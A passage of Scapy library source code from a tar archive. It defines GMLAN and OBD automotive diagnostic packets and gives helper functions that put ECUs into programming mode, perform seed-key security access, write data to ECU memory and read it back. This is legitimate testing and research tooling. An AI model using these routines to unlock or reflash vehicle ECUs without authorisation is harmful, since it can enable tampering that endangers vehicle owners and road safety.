bind_layers(GMLAN, GMLAN_DPBA, service=0x2D) class GMLAN_DPBAPR(Packet): name = 'DefinePIDByAddressPositiveResponse' fields_desc = [ XShortField('parameterIdentifier', 0), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), pkt.parameterIdentifier def answers(self, other): return other.__class__ == GMLAN_DPBA \ and other.parameterIdentifier == self.parameterIdentifier bind_layers(GMLAN, GMLAN_DPBA, service=0x6D) # ########################RD################################### class GMLAN_RD(Packet): name = 'RequestDownload' fields_desc = [ XByteField('dataFormatIdentifier', 0), ConditionalField(XShortField('memorySize', 0), lambda pkt: GMLAN.determine_len(2)), ConditionalField(X3BytesField('memorySize', 0), lambda pkt: GMLAN.determine_len(3)), ConditionalField(XIntField('memorySize', 0), lambda pkt: GMLAN.determine_len(4)), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.dataFormatIdentifier, pkt.memorySize) bind_layers(GMLAN, GMLAN_RD, service=0x34) # ########################TD################################### class GMLAN_TD(Packet): subfunctions = { 0x00: "download", 0x80: "downloadAndExecuteOrExecute" } name = 'TransferData' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ConditionalField(XShortField('startingAddress', 0), lambda pkt: GMLAN.determine_len(2)), ConditionalField(X3BytesField('startingAddress', 0), lambda pkt: GMLAN.determine_len(3)), ConditionalField(XIntField('startingAddress', 0), lambda pkt: GMLAN.determine_len(4)), StrField("dataRecord", None) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.sprintf("%GMLAN_TD.subfunction%"), pkt.startingAddress, pkt.dataRecord) bind_layers(GMLAN, GMLAN_TD, service=0x36) # ########################WDBI################################### class GMLAN_WDBI(Packet): name = 'WriteDataByIdentifier' fields_desc = [ XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers), StrField("dataRecord", b'\x00') ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.sprintf("%GMLAN_WDBI.dataIdentifier%"), pkt.dataRecord) bind_layers(GMLAN, GMLAN_WDBI, service=0x3B) class GMLAN_WDBIPR(Packet): name = 'WriteDataByIdentifierPositiveResponse' fields_desc = [ XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_WDBIPR.dataIdentifier%") def answers(self, other): return other.__class__ == GMLAN_WDBI \ and other.dataIdentifier == self.dataIdentifier bind_layers(GMLAN, GMLAN_WDBIPR, service=0x7B) # ########################RPSPR################################### class GMLAN_RPSPR(Packet): programmedStates = { 0x00: "fully programmed", 0x01: "no op s/w or cal data", 0x02: "op s/w present, cal data missing", 0x03: "s/w present, default or no start cal present", 0x50: "General Memory Fault", 0x51: "RAM Memory Fault", 0x52: "NVRAM Memory Fault", 0x53: "Boot Memory Failure", 0x54: "Flash Memory Failure", 0x55: "EEPROM Memory Failure", } name = 'ReportProgrammedStatePositiveResponse' fields_desc = [ ByteEnumField('programmedState', 0, programmedStates), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RPSPR.programmedState%") bind_layers(GMLAN, GMLAN_RPSPR, service=0xE2) # ########################PM################################### class GMLAN_PM(Packet): subfunctions = { 0x01: "requestProgrammingMode", 0x02: "requestProgrammingMode_HighSpeed", 0x03: "enableProgrammingMode" } name = 'ProgrammingMode' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions), ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_PM.subfunction%") bind_layers(GMLAN, GMLAN_PM, service=0xA5) # ########################RDI################################### class GMLAN_RDI(Packet): subfunctions = { 0x80: 'readStatusOfDTCByDTCNumber', 0x81: 'readStatusOfDTCByStatusMask', 0x82: 'sendOnChangeDTCCount' } name = 'ReadDiagnosticInformation' fields_desc = [ ByteEnumField('subfunction', 0, subfunctions) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ pkt.sprintf("%GMLAN_RDI.subfunction%") bind_layers(GMLAN, GMLAN_RDI, service=0xA9) class GMLAN_RDI_BN(Packet): name = 'ReadStatusOfDTCByDTCNumber' fields_desc = [ XByteField('DTCHighByte', 0), XByteField('DTCLowByte', 0), XByteField('DTCFailureType', 0), ] bind_layers(GMLAN_RDI, GMLAN_RDI_BN, subfunction=0x80) class GMLAN_RDI_BM(Packet): name = 'ReadStatusOfDTCByStatusMask' fields_desc = [ XByteField('DTCStatusMask', 0), ] bind_layers(GMLAN_RDI, GMLAN_RDI_BM, subfunction=0x81) class GMLAN_RDI_BC(Packet): name = 'SendOnChangeDTCCount' fields_desc = [ XByteField('DTCStatusMask', 0), ] bind_layers(GMLAN_RDI, GMLAN_RDI_BC, subfunction=0x82) # TODO:This function receive single frame responses... (Implement GMLAN Socket) # ########################NRC################################### class GMLAN_NR(Packet): negativeResponseCodes = { 0x11: 'ServiceNotSupported', 0x12: 'SubFunctionNotSupported', 0x22: 'ConditionsNotCorrectOrRequestSequenceError', 0x31: 'RequestOutOfRange', 0x35: 'InvalidKey', 0x36: 'ExceedNumberOfAttempts', 0x37: 'RequiredTimeDelayNotExpired', 0x78: 'RequestCorrectlyReceived-ResponsePending', 0x81: 'SchedulerFull', 0x83: 'VoltageOutOfRange', 0x85: 'GeneralProgrammingFailure', 0x89: 'DeviceTypeError', 0x99: 'ReadyForDownload-DTCStored', 0xe3: 'DeviceControlLimitsExceeded', } name = 'NegativeResponse' fields_desc = [ XByteEnumField('requestServiceId', 0, GMLAN.services), ByteEnumField('returnCode', 0, negativeResponseCodes), ShortField('deviceControlLimitExceeded', 0) ] @staticmethod def get_log(pkt): return pkt.sprintf("%GMLAN.service%"), \ (pkt.sprintf("%GMLAN_NR.requestServiceId%"), pkt.sprintf("%GMLAN_NR.returnCode%")) def answers(self, other): return self.requestServiceId == other.service and \ (self.returnCode != 0x78 or conf.contribs['GMLAN']['treat-response-pending-as-answer']) bind_layers(GMLAN, GMLAN_NR, service=0x7f) scapy-2.4.4/scapy/contrib/automotive/gm/gmlanutils.py000066400000000000000000000265101372370053500227600ustar00rootroot00000000000000#! /usr/bin/env python # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Markus Schroetter # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.description = GMLAN Utilities # scapy.contrib.status = loads import time from scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SA, GMLAN_RD, \ GMLAN_TD, GMLAN_PM, GMLAN_RMBA from scapy.config import conf from scapy.contrib.isotp import ISOTPSocket from scapy.error import warning, log_loading from scapy.utils import PeriodicSenderThread __all__ = ["GMLAN_TesterPresentSender", "GMLAN_InitDiagnostics", "GMLAN_GetSecurityAccess", "GMLAN_RequestDownload", "GMLAN_TransferData", "GMLAN_TransferPayload", "GMLAN_ReadMemoryByAddress", "GMLAN_BroadcastSocket"] log_loading.info("\"conf.contribs['GMLAN']" "['treat-response-pending-as-answer']\" set to True). This " "is required by the GMLAN-Utils module to operate " "correctly.") try: conf.contribs['GMLAN']['treat-response-pending-as-answer'] = False except KeyError: conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False} class GMLAN_TesterPresentSender(PeriodicSenderThread): def __init__(self, sock, pkt=GMLAN(service="TesterPresent"), interval=2): """ Thread to send TesterPresent messages packets periodically Args: sock: socket where packet is sent periodically pkt: packet to send interval: interval between two packets """ PeriodicSenderThread.__init__(self, sock, pkt, interval) def _check_response(resp, verbose): if resp is None: if verbose: print("Timeout.") return False if verbose: resp.show() return resp.sprintf("%GMLAN.service%") != "NegativeResponse" def _send_and_check_response(sock, req, timeout, verbose): if verbose: print("Sending %s" % repr(req)) resp = sock.sr1(req, timeout=timeout, verbose=0) return _check_response(resp, verbose) def GMLAN_InitDiagnostics(sock, broadcastsocket=None, timeout=None, verbose=None, retry=0): """Send messages to put an ECU into an diagnostic/programming state. Args: sock: socket to send the message on. broadcast: socket for broadcasting. If provided some message will be sent as broadcast. Recommended when used on a network with several ECUs. timeout: timeout for sending, receiving or sniffing packages. verbose: set verbosity level retry: number of retries in case of failure. Returns true on success. """ if verbose is None: verbose = conf.verb retry = abs(retry) while retry >= 0: retry -= 1 # DisableNormalCommunication p = GMLAN(service="DisableNormalCommunication") if broadcastsocket is None: if not _send_and_check_response(sock, p, timeout, verbose): continue else: if verbose: print("Sending %s as broadcast" % repr(p)) broadcastsocket.send(p) time.sleep(0.05) # ReportProgrammedState p = GMLAN(service="ReportProgrammingState") if not _send_and_check_response(sock, p, timeout, verbose): continue # ProgrammingMode requestProgramming p = GMLAN() / GMLAN_PM(subfunction="requestProgrammingMode") if not _send_and_check_response(sock, p, timeout, verbose): continue time.sleep(0.05) # InitiateProgramming enableProgramming # No response expected p = GMLAN() / GMLAN_PM(subfunction="enableProgrammingMode") if verbose: print("Sending %s" % repr(p)) sock.send(p) time.sleep(0.05) return True return False def GMLAN_GetSecurityAccess(sock, keyFunction, level=1, timeout=None, verbose=None, retry=0): """Authenticate on ECU. Implements Seey-Key procedure. Args: sock: socket to send the message on. keyFunction: function implementing the key algorithm. level: level of access timeout: timeout for sending, receiving or sniffing packages. verbose: set verbosity level retry: number of retries in case of failure. Returns true on success. """ if verbose is None: verbose = conf.verb retry = abs(retry) if level % 2 == 0: warning("Parameter Error: Level must be an odd number.") return False while retry >= 0: retry -= 1 request = GMLAN() / GMLAN_SA(subfunction=level) if verbose: print("Requesting seed..") resp = sock.sr1(request, timeout=timeout, verbose=0) if not _check_response(resp, verbose): if verbose: print("Negative Response.") continue seed = resp.securitySeed if seed == 0: if verbose: print("ECU security already unlocked. (seed is 0x0000)") return True keypkt = GMLAN() / GMLAN_SA(subfunction=level + 1, securityKey=keyFunction(seed)) if verbose: print("Responding with key..") resp = sock.sr1(keypkt, timeout=timeout, verbose=0) if resp is None: if verbose: print("Timeout.") continue if verbose: resp.show() if resp.sprintf("%GMLAN.service%") == "SecurityAccessPositiveResponse": # noqa: E501 if verbose: print("SecurityAccess granted.") return True # Invalid Key elif resp.sprintf("%GMLAN.service%") == "NegativeResponse" and \ resp.sprintf("%GMLAN.returnCode%") == "InvalidKey": if verbose: print("Key invalid") continue return False def GMLAN_RequestDownload(sock, length, timeout=None, verbose=None, retry=0): """Send RequestDownload message. Usually used before calling TransferData. Args: sock: socket to send the message on. length: value for the message's parameter 'unCompressedMemorySize'. timeout: timeout for sending, receiving or sniffing packages. verbose: set verbosity level. retry: number of retries in case of failure. Returns true on success. """ if verbose is None: verbose = conf.verb retry = abs(retry) while retry >= 0: # RequestDownload pkt = GMLAN() / GMLAN_RD(memorySize=length) resp = sock.sr1(pkt, timeout=timeout, verbose=0) if _check_response(resp, verbose): return True retry -= 1 if retry >= 0 and verbose: print("Retrying..") return False def GMLAN_TransferData(sock, addr, payload, maxmsglen=None, timeout=None, verbose=None, retry=0): """Send TransferData message. Usually used after calling RequestDownload. Args: sock: socket to send the message on. addr: destination memory address on the ECU. payload: data to be sent. maxmsglen: maximum length of a single iso-tp message. (default: maximum length) timeout: timeout for sending, receiving or sniffing packages. verbose: set verbosity level. retry: number of retries in case of failure. Returns true on success. """ if verbose is None: verbose = conf.verb retry = abs(retry) startretry = retry scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] if addr < 0 or addr >= 2**(8 * scheme): warning("Error: Invalid address " + hex(addr) + " for scheme " + str(scheme)) return False # max size of dataRecord according to gmlan protocol if maxmsglen is None or maxmsglen <= 0 or maxmsglen > (4093 - scheme): maxmsglen = (4093 - scheme) for i in range(0, len(payload), maxmsglen): retry = startretry while True: if len(payload[i:]) > maxmsglen: transdata = payload[i:i + maxmsglen] else: transdata = payload[i:] pkt = GMLAN() / GMLAN_TD(startingAddress=addr + i, dataRecord=transdata) resp = sock.sr1(pkt, timeout=timeout, verbose=0) if _check_response(resp, verbose): break retry -= 1 if retry >= 0: if verbose: print("Retrying..") else: return False return True def GMLAN_TransferPayload(sock, addr, payload, maxmsglen=None, timeout=None, verbose=None, retry=0): """Send data by using GMLAN services. Args: sock: socket to send the data on. addr: destination memory address on the ECU. payload: data to be sent. maxmsglen: maximum length of a single iso-tp message. (default: maximum length) timeout: timeout for sending, receiving or sniffing packages. verbose: set verbosity level. retry: number of retries in case of failure. Returns true on success. """ if not GMLAN_RequestDownload(sock, len(payload), timeout=timeout, verbose=verbose, retry=retry): return False if not GMLAN_TransferData(sock, addr, payload, maxmsglen=maxmsglen, timeout=timeout, verbose=verbose, retry=retry): return False return True def GMLAN_ReadMemoryByAddress(sock, addr, length, timeout=None, verbose=None, retry=0): """Read data from ECU memory. Args: sock: socket to send the data on. addr: source memory address on the ECU. length: bytes to read timeout: timeout for sending, receiving or sniffing packages. verbose: set verbosity level. retry: number of retries in case of failure. Returns the bytes read. """ if verbose is None: verbose = conf.verb retry = abs(retry) scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] if addr < 0 or addr >= 2**(8 * scheme): warning("Error: Invalid address " + hex(addr) + " for scheme " + str(scheme)) return None # max size of dataRecord according to gmlan protocol if length <= 0 or length > (4094 - scheme): warning("Error: Invalid length " + hex(length) + " for scheme " + str(scheme) + ". Choose between 0x1 and " + hex(4094 - scheme)) return None while retry >= 0: # RequestDownload pkt = GMLAN() / GMLAN_RMBA(memoryAddress=addr, memorySize=length) resp = sock.sr1(pkt, timeout=timeout, verbose=0) if _check_response(resp, verbose): return resp.dataRecord retry -= 1 if retry >= 0 and verbose: print("Retrying..") return None def GMLAN_BroadcastSocket(interface): """Returns a GMLAN broadcast socket using interface.""" return ISOTPSocket(interface, sid=0x101, did=0x0, basecls=GMLAN, extended_addr=0xfe) scapy-2.4.4/scapy/contrib/automotive/obd/000077500000000000000000000000001372370053500203645ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/obd/__init__.py000066400000000000000000000005601372370053500224760ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/obd/iid/000077500000000000000000000000001372370053500211315ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/obd/iid/__init__.py000066400000000000000000000005601372370053500232430ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/obd/iid/iids.py000066400000000000000000000121041372370053500224310ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import FieldLenField, FieldListField, StrFixedLenField, \ ByteField, ShortField, FlagsField, XByteField, PacketListField from scapy.packet import Packet, bind_layers from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_S09 # See https://en.wikipedia.org/wiki/OBD-II_PIDs#Service_09 # for further information # IID = Information IDentification class OBD_S09_PR_Record(Packet): fields_desc = [ XByteField("iid", 0), ] class OBD_S09_PR(Packet): name = "Infotype IDs" fields_desc = [ PacketListField("data_records", [], OBD_S09_PR_Record) ] def answers(self, other): return other.__class__ == OBD_S09 \ and all(r.iid in other.iid for r in self.data_records) class OBD_IID00(OBD_Packet): name = "IID_00_Service9SupportedInformationTypes" fields_desc = [ FlagsField('supported_iids', 0, 32, [ 'IID20', 'IID1F', 'IID1E', 'IID1D', 'IID1C', 'IID1B', 'IID1A', 'IID19', 'IID18', 'IID17', 'IID16', 'IID15', 'IID14', 'IID13', 'IID12', 'IID11', 'IID10', 'IID0F', 'IID0E', 'IID0D', 'IID0C', 'IID0B', 'IID0A', 'IID09', 'IID08', 'IID07', 'IID06', 'IID05', 'IID04', 'IID03', 'IID02', 'IID01' ]) ] class _OBD_IID_MessageCount(OBD_Packet): fields_desc = [ ByteField('message_count', 0) ] class OBD_IID01(_OBD_IID_MessageCount): name = "IID_01_VinMessageCount" class OBD_IID03(_OBD_IID_MessageCount): name = "IID_03_CalibrationIdMessageCount" class OBD_IID05(_OBD_IID_MessageCount): name = "IID_05_CalibrationVerificationNumbersMessageCount" class OBD_IID07(_OBD_IID_MessageCount): name = "IID_07_InUsePerformanceTrackingMessageCount" class OBD_IID09(_OBD_IID_MessageCount): name = "IID_09_EcuNameMessageCount" class OBD_IID02(OBD_Packet): name = "IID_02_VehicleIdentificationNumber" fields_desc = [ FieldLenField('count', None, count_of='vehicle_identification_numbers', fmt='B'), FieldListField('vehicle_identification_numbers', [], StrFixedLenField('', b'', 17), count_from=lambda pkt: pkt.count) ] class OBD_IID04(OBD_Packet): name = "IID_04_CalibrationId" fields_desc = [ FieldLenField('count', None, count_of='calibration_identifications', fmt='B'), FieldListField('calibration_identifications', [], StrFixedLenField('', b'', 16), count_from=lambda pkt: pkt.count) ] class OBD_IID06(OBD_Packet): name = "IID_06_CalibrationVerificationNumbers" fields_desc = [ FieldLenField('count', None, count_of='calibration_verification_numbers', fmt='B'), FieldListField('calibration_verification_numbers', [], StrFixedLenField('', b'', 4), count_from=lambda pkt: pkt.count) ] class OBD_IID08(OBD_Packet): name = "IID_08_InUsePerformanceTracking" fields_desc = [ FieldLenField('count', None, count_of='data', fmt='B'), FieldListField('data', [], ShortField('', 0), count_from=lambda pkt: pkt.count) ] class OBD_IID0A(OBD_Packet): name = "IID_0A_EcuName" fields_desc = [ FieldLenField('count', None, count_of='ecu_names', fmt='B'), FieldListField('ecu_names', [], StrFixedLenField('', b'', 20), count_from=lambda pkt: pkt.count) ] class OBD_IID0B(OBD_Packet): name = "IID_0B_InUsePerformanceTrackingForCompressionIgnitionVehicles" fields_desc = [ FieldLenField('count', None, count_of='data', fmt='B'), FieldListField('data', [], ShortField('', 0), count_from=lambda pkt: pkt.count) ] bind_layers(OBD_S09_PR_Record, OBD_IID00, iid=0x00) bind_layers(OBD_S09_PR_Record, OBD_IID01, iid=0x01) bind_layers(OBD_S09_PR_Record, OBD_IID02, iid=0x02) bind_layers(OBD_S09_PR_Record, OBD_IID03, iid=0x03) bind_layers(OBD_S09_PR_Record, OBD_IID04, iid=0x04) bind_layers(OBD_S09_PR_Record, OBD_IID05, iid=0x05) bind_layers(OBD_S09_PR_Record, OBD_IID06, iid=0x06) bind_layers(OBD_S09_PR_Record, OBD_IID07, iid=0x07) bind_layers(OBD_S09_PR_Record, OBD_IID08, iid=0x08) bind_layers(OBD_S09_PR_Record, OBD_IID09, iid=0x09) bind_layers(OBD_S09_PR_Record, OBD_IID0A, iid=0x0A) bind_layers(OBD_S09_PR_Record, OBD_IID0B, iid=0x0B) scapy-2.4.4/scapy/contrib/automotive/obd/mid/000077500000000000000000000000001372370053500211355ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/obd/mid/__init__.py000066400000000000000000000005601372370053500232470ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive obd specific modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/automotive/obd/mid/mids.py000066400000000000000000000603431372370053500224510ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip from scapy.fields import FlagsField, ScalingField, ByteEnumField, \ MultipleTypeField, ShortField, ShortEnumField, PacketListField from scapy.packet import Packet, bind_layers from scapy.contrib.automotive.obd.packet import OBD_Packet from scapy.contrib.automotive.obd.services import OBD_S06 def _unit_and_scaling_fields(name): return [ (ScalingField(name, 0, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1), (ScalingField(name, 0, scaling=0.1, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2), (ScalingField(name, 0, scaling=0.01, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x3), (ScalingField(name, 0, scaling=0.001, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x4), (ScalingField(name, 0, scaling=0.0000305, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x5), (ScalingField(name, 0, scaling=0.000305, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x6), (ScalingField(name, 0, scaling=0.25, unit="rpm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x7), (ScalingField(name, 0, scaling=0.01, unit="km/h", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x8), (ScalingField(name, 0, unit="km/h", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x9), (ScalingField(name, 0, scaling=0.122, unit="mV", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xA), (ScalingField(name, 0, scaling=0.001, unit="V", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xB), (ScalingField(name, 0, scaling=0.01, unit="V", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xC), (ScalingField(name, 0, scaling=0.00390625, unit="mA", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xD), (ScalingField(name, 0, scaling=0.001, unit="A", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xE), (ScalingField(name, 0, scaling=0.01, unit="A", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0xF), (ScalingField(name, 0, unit="ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x10), (ScalingField(name, 0, scaling=100, unit="ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x11), (ScalingField(name, 0, scaling=1, unit="s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x12), (ScalingField(name, 0, scaling=1, unit="mOhm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x13), (ScalingField(name, 0, scaling=1, unit="Ohm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x14), (ScalingField(name, 0, scaling=1, unit="kOhm", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x15), (ScalingField(name, -40, scaling=0.1, unit="deg. C", offset=-40, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x16), (ScalingField(name, 0, scaling=0.01, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x17), (ScalingField(name, 0, scaling=0.0117, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x18), (ScalingField(name, 0, scaling=0.079, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x19), (ScalingField(name, 0, scaling=1, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1A), (ScalingField(name, 0, scaling=10, unit="kPa", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1B), (ScalingField(name, 0, scaling=0.01, unit="deg.", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1C), (ScalingField(name, 0, scaling=0.5, unit="deg.", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1D), (ScalingField(name, 0, scaling=0.0000305, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1E), (ScalingField(name, 0, scaling=0.05, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x1F), (ScalingField(name, 0, scaling=0.0039062, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x20), (ScalingField(name, 0, scaling=1, unit="mHz", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x21), (ScalingField(name, 0, scaling=1, unit="Hz", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x22), (ScalingField(name, 0, scaling=1, unit="KHz", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x23), (ScalingField(name, 0, scaling=1, unit="counts", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x24), (ScalingField(name, 0, scaling=1, unit="km", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x25), (ScalingField(name, 0, scaling=0.1, unit="mV/ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x26), (ScalingField(name, 0, scaling=0.01, unit="g/s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x27), (ScalingField(name, 0, scaling=1, unit="g/s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x28), (ScalingField(name, 0, scaling=0.25, unit="Pa/s", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x29), (ScalingField(name, 0, scaling=0.001, unit="kg/h", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2A), (ScalingField(name, 0, scaling=1, unit="switches", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2B), (ScalingField(name, 0, scaling=0.01, unit="g/cyl", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2C), (ScalingField(name, 0, scaling=0.01, unit="mg/stroke", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2D), (ShortEnumField(name, 0, {0: "false", 1: "true"}), lambda pkt: pkt.unit_and_scaling_id == 0x2E), (ScalingField(name, 0, scaling=0.01, unit="%", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x2F), (ScalingField(name, 0, scaling=0.001526, unit="%", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x30), (ScalingField(name, 0, scaling=0.001, unit="L", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x31), (ScalingField(name, 0, scaling=0.0000305, unit="inch", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x32), (ScalingField(name, 0, scaling=0.00024414, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x33), (ScalingField(name, 0, scaling=1, unit="min", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x34), (ScalingField(name, 0, scaling=10, unit="ms", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x35), (ScalingField(name, 0, scaling=0.01, unit="g", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x36), (ScalingField(name, 0, scaling=0.1, unit="g", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x37), (ScalingField(name, 0, scaling=1, unit="g", fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x38), (ScalingField(name, 0, scaling=0.01, unit="%", offset=-327.68, fmt='H'), lambda pkt: pkt.unit_and_scaling_id == 0x39), (ScalingField(name, 0, scaling=1, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x81), (ScalingField(name, 0, scaling=0.1, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x82), (ScalingField(name, 0, scaling=0.01, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x83), (ScalingField(name, 0, scaling=0.001, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x84), (ScalingField(name, 0, scaling=0.0000305, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x85), (ScalingField(name, 0, scaling=0.000305, fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x86), (ScalingField(name, 0, scaling=0.122, unit="mV", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8A), (ScalingField(name, 0, scaling=0.001, unit="V", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8B), (ScalingField(name, 0, scaling=0.01, unit="V", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8C), (ScalingField(name, 0, scaling=0.00390625, unit="mA", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8D), (ScalingField(name, 0, scaling=0.001, unit="A", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x8E), (ScalingField(name, 0, scaling=1, unit="ms", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x90), (ScalingField(name, 0, scaling=0.1, unit="deg. C", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x96), (ScalingField(name, 0, scaling=0.01, unit="deg.", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x9C), (ScalingField(name, 0, scaling=0.5, unit="deg.", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0x9D), (ScalingField(name, 0, scaling=1, unit="g/s", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xA8), (ScalingField(name, 0, scaling=0.25, unit="Pa/s", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xA9), (ScalingField(name, 0, scaling=0.01, unit="%", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xAF), (ScalingField(name, 0, scaling=0.003052, unit="%", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xB0), (ScalingField(name, 0, scaling=2, unit="mV/s", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xB1), (ScalingField(name, 0, scaling=0.001, unit="kPa", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xFD), (ScalingField(name, 0, scaling=0.25, unit="Pa", fmt='h'), lambda pkt: pkt.unit_and_scaling_id == 0xFE) ] def _mid_flags(basemid): return [ 'MID%02X' % (basemid + 0x20), 'MID%02X' % (basemid + 0x1F), 'MID%02X' % (basemid + 0x1E), 'MID%02X' % (basemid + 0x1D), 'MID%02X' % (basemid + 0x1C), 'MID%02X' % (basemid + 0x1B), 'MID%02X' % (basemid + 0x1A), 'MID%02X' % (basemid + 0x19), 'MID%02X' % (basemid + 